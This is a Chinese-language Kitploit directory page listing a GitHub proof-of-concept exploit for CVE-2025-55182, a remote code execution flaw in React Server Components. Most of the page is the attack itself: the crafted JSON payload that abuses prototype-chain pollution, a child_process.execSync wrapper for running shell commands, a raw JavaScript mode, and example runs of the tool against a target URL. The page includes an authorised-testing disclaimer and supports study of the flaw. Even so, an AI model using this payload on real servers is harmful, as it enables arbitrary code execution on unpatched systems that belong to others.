Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
react-ssr-vulnerability — 这是一个针对 CVE-2025-55182 (React SSR RCE) 的 POC 脚本。 | Kitploit
工具/GitHubGitHub/darker-ink/react-ssr-vulnerability
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubdarker-ink/react-ssr-vulnerability

react-ssr-vulnerability

这是一个针对 CVE-2025-55182 (React SSR RCE) 的 POC 脚本。

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55182 - React Server Components RCE 概念验证

本 POC 仅供教育和安全研究使用。该漏洞已在受影响包的最新版本中得到修复。请仅在您拥有或已获得明确测试许可的系统上使用此工具。对于因使用本工具而产生的任何法律行为,本人概不负责。

Payload 构造

该利用工具创建了一个特制的 JSON 对象,滥用 JavaScript 的原型链:

root@kitploit:~
{
  "then": "$1:__proto__:then",           // 污染原型链
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": jsCode,                    // 注入的恶意代码
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

命令封装

POC 支持两种模式:

标准模式(默认):

root@kitploit:~
process.mainModule.require("child_process").execSync("YOUR_COMMAND");

将 shell 命令封装后通过 Node.js child_process 执行。

原始模式(使用 --raw 标志):

root@kitploit:~
// 直接执行任意 JavaScript

允许直接执行 JavaScript 代码,无需 shell 命令封装。

用法

基本命令执行

root@kitploit:~
bun run index.ts <command_file> <target_url>

示例:

root@kitploit:~
# 创建命令文件
echo "whoami" > cmd.txt

# 针对易受攻击的端点执行
bun run index.ts cmd.txt http://localhost:3000

原始 JavaScript 模式

root@kitploit:~
bun run index.ts --raw <js_file> <target_url>

示例:

root@kitploit:~
# 创建 JavaScript 载荷
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js

# 执行原始 JavaScript
bun run index.ts --raw payload.js http://localhost:3000

参数

  • <file_path>:包含命令或 JavaScript 代码的文件路径
  • <target_url>:React Server Function 端点的 URL
  • --raw:(可选)执行原始 JavaScript 而非 shell 命令

致谢

发现者: Lachlan Davidson
披露方: React 团队 & Meta 安全团队

参考资料

  • 官方 React 安全公告
  • CVE-2025-55182
下载工具